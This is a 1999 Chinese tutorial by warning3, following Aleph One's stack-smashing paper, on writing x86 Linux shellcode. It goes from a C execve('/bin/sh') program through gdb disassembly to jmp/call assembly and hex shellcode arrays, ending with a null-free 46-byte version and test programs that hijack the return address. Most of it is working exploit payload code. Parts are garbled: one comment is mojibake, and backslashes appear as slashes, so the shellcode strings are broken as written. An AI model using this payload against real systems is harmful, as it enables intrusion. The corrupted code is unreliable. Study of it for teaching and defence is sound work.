这篇文章写的是标准SHELLCODE的做法,写的很详细了,很容易理解.
*************************
* 如何写shell code *
*************************
by warning3 <warning3@hotmail.com>
1999/07
我曾看到有人翻了aleph1的<<smashing stack for fun and profit>>,
奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit
的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写
shellcode.不对的地方还请多多指教.
通过覆盖堆栈中的返回地址,我们可以让程序转到该地址去执行我们想要执行
的指令.通常的做法是在溢出的数据中放入我们自己的可执行代码,然后覆盖返回地址,
使它指向我们自己代码开始的地址.一般我们希望可执行代码能启动一个shell.假设
堆栈开始的地址是0xFF,"S"代表我们想执行的代码,堆栈的情况如下:
内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存
低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
栈顶 栈底
sfp: 堆栈帧指针
ret: 返回地址
a,b,c: 函数入口参数
下面是一个启动shell的C程序:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
为了查看它的汇编代码,我们可以先编译它,然后启动gdb来分析。
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我们看看整个过程是怎样的。先从main()开始:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp #保存原来的栈帧指针
0x8000131 <main+1>: movl %esp,%ebp #将当前堆栈指针变成新的栈帧指针
0x8000133 <main+3>: subl $0x8,%esp #堆栈指针前移8个字节,为局部变量分配空间
#相当于 char *name[2];因为每个字符指针
#都是4个字节,所以一共8个字节。
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
#将字符串"/bin/sh"的地址拷贝到name[0]中
#等于name[0]="/bin/sh";
0x800013d <main+13>:movl $0x0,0xfffffffc(%ebp)
#将0(NULL)值拷贝到name[1]中
#等于 name[1]=NULL;
0x8000144 <main+20>:pushl $0x0 #按从右到左的顺序将execv()的三个参数依次
#压栈,首先压入NULL值 (第三个参数)
0x8000146 <main+22>:leal 0xfffffff8(%ebp),%eax
#将name[]的地址装入寄存器EAX中
0x8000149 <main+25>:pushl %eax #将name[]的地址压入堆栈 (第二个参数)
0x800014a <main+26>:movl 0xfffffff8(%ebp),%eax
#将"/bin/sh"的地址装入EAX
0x800014d <main+29>:pushl %eax #将"/bin/sh"的地址装入堆栈(第一个参数)
0x800014e <main+30>:call 0x80002bc <__execve>
#参数全部压栈后,我们开始调用execve()
#它首先将当前IP压入堆栈
------------------------------------------------------------------------------
现在我们来看execve().要记住现在我们用的是基于Intel的Linux系统。而syscall的具
体调用细节随着不同的系统和CPU也有所不同。有一些是在堆栈中传递参数,也有的是在寄
存器里。有的是用软件中断跳到kernel模式,有的则是通过一个far调用来完成。Linux在
寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式。(int $80)
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp #保存原来的栈帧指针
0x80002bd <__execve+1>: movl %esp,%ebp #将当前堆栈指针变成新的栈帧指针
0x80002bf <__execve+3>: pushl %ebx #将ebx压栈
0x80002c0 <__execve+4>: movl $0xb,%eax #拷贝0xb(11)到eax中,这是syscall表的
#索引值。11代表execv.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx #将"/bin/sh"的地址拷贝到ebx中
0x80002c8 <__execve+12>:movl 0xc(%ebp),%ecx #将name[]的地址拷贝到ecx中
0x80002cb <__execve+15>:movl 0x10(%ebp),%edx #将null的地址拷贝到edx中
0x80002ce <__execve+18>:int $0x80 #软件中断,转入kernel模式
------------------------------------------------------------------------------
从上面的分析可以看出,完成execve()系统调用,我们所要做的不过是这么几项而已:
a) 在内存中有以NULL结尾的字符串"/bin/sh"
b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
c) 将0xb拷贝到寄存器EAX中
d) 将"/bin/sh"的地址拷贝到寄存器EBX中
e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
f) 将NULL串的地址拷贝到寄存器EDX中
g) 执行中断指令int $0x80
如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
可能是随机的.通常这个程序会core dump.我们希望如果execve调用失败的话,程序可以正
常退出.因此我们必须在execve调用后增加一个exit系统调用.它的C语言程序如下:
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出号码放
入EBX中,然后执行"int $0x80".大部分程序正常退出时返回0值,我们也在EBX中放入0.现
在我们所要完成的工作又增加了三项:
a) 在内存中有以NULL结尾的字符串"/bin/sh"
b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
c) 将0xb拷贝到寄存器EAX中
d) 将"/bin/sh"的地址拷贝到寄存器EBX中
e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
f) 将NULL串的地址拷贝到寄存器EDX中
g) 执行中断指令int $0x80
h) 将0x1拷贝到寄存器EAX中
i) 将0x0拷贝到寄存器EBX中
j) 执行中断指令int $0x80
下面我们用汇编语言完成上述工作.我们把"/bin/sh"字符串放到代码的后面,并且将会
把字符串的地址和NULL字加到字符串的后面:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr #将字符串的地址放入某个内存单元中
movb $0x0,null_byte_addr #将null放入字符串"/bin/sh"的结尾
movl $0x0,null_addr #将NULL字放入某个内存单元中
movl $0xb,%eax #将0xb拷贝到EAX中
movl string_addr,%ebx #将字符串的地址拷贝到EBX中
leal string_addr_addr,%ecx #将存放字符串地址的地址拷贝到ECX中
leal null_string,%edx #将存放NULL字的地址拷贝到EDX中
int $0x80 #执行中断指令int $0x80 (execv()完成)
movl $0x1, %eax #将0x1拷贝到EAX中
movl $0x0, %ebx #将0x0拷贝到EBX中
int $0x80 #执行中断指令int $0x80 (exit(0)完成)
/bin/sh string goes here. #存放字符串"/bin/sh"
------------------------------------------------------------------------------
现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置.一种解决的方法是用一个jmp和call指令.jmp和call指令可以用IP相关寻址
,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值.如果我们将call指令放在字符串"/bin/sh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈.我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中.假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/sh",那么我们执行的顺序就象下图所示:
内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存
低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
栈顶 栈底
(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的
起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行
经过上述修改后,我们的汇编代码变成了下面的样子:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes 1.首先跳到call指令处去执行
popl %esi # 1 byte 3.?佣颜恢械鲎址刂返紼SI中
movl %esi,array-offset(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面
movb $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
movl $0x0,null-offset(%esi) # 7 bytes 6.将null长字放到字符串地址的地址后面
movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中
movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中
leal array-offset,(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal null-offset(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX
int $0x80 # 2 bytes 11.调用中断指令int $0x80
movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中
movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中
int $0x80 # 2 bytes 14.调用中断int $0x80
call offset-to-popl # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/sh string goes here.
------------------------------------------------------------------------------
计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes 1.首先跳到call指令处去执行
popl %esi # 1 byte 3.从堆栈中弹出字符串地址到ESI中
movl %esi,0x8(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面第9个字节处
movb $0x0,0x7(%esi) # 4 bytes 5.将null字节放到字符串后第8个字节处
movl $0x0,0xc(%esi) # 7 bytes 6.将null长字放到字符串地址后第13个字节处
movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中
movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中
leal 0x8(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal 0xc(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX
int $0x80 # 2 bytes 11.调用中断指令int $0x80
movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中
movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中
int $0x80 # 2 bytes 14.调用中断int $0x80
call -0x2b # 5 bytes 2.将返回地址压栈,跳到popl处执行
.string /"/bin/sh/" # 8 bytes
------------------------------------------------------------------------------
当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:
|........ |
|---------|0xbfffc5f0 %esi 字符串地址
| '/' |
|---------|
| 'b' |
|---------|
| 'i' |
|---------|
| 'n' |
|---------|
| '/' |
|---------|
| 's' |
|---------|
| 'h' |
|---------|0xbfffc5f7 0x7(%esi) null字节的地址
| 0 |
|---------|0xbfffc5f8 0x8(%esi)(存放)字符串地址的地址 即name[0] 大小是4个字节
| 0xbf |
|---------| 注:这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序.
| 0xff | 我没有验证过,只是为了说明问题,简单的这么写了一下.
|---------| 有人感兴趣的可以验证一下.
| 0xc5 |
|---------|
| 0xf0 |
|---------|0xbfffc5fc 0xc(%esi) 空串的地址 即name[1] 大小是4个字节
| 0 |
|---------|
| 0 |
|---------|
| 0 |
|---------|
| 0 |
|---------|
| ....... |
------------------------------------------------------------------------------
为了证明它能正常工作,我们必须编译并运行它.但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它.我们可以将代码放到数据段的一个全局
数组中.我们需要首先得到二进制码的16进制形式.我们可以先编译,然后用GDB得到我们所
要的东西.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
..
..
..
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
很好,它现在工作了.但还有个小问题.大多数情况下我们都是试图overflow一个字符型
buffer.因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了.因此要是exploit工作,shellcode中不能有null字节.我们可以略微的调整一
下代码:
有问题的指令: 替代指令:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
我们改进后的代码如下:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string /"/bin/sh/" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
测试一下新的代码是否工作:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题.
你可以根据自己的需要,编写出自己的shellcode来.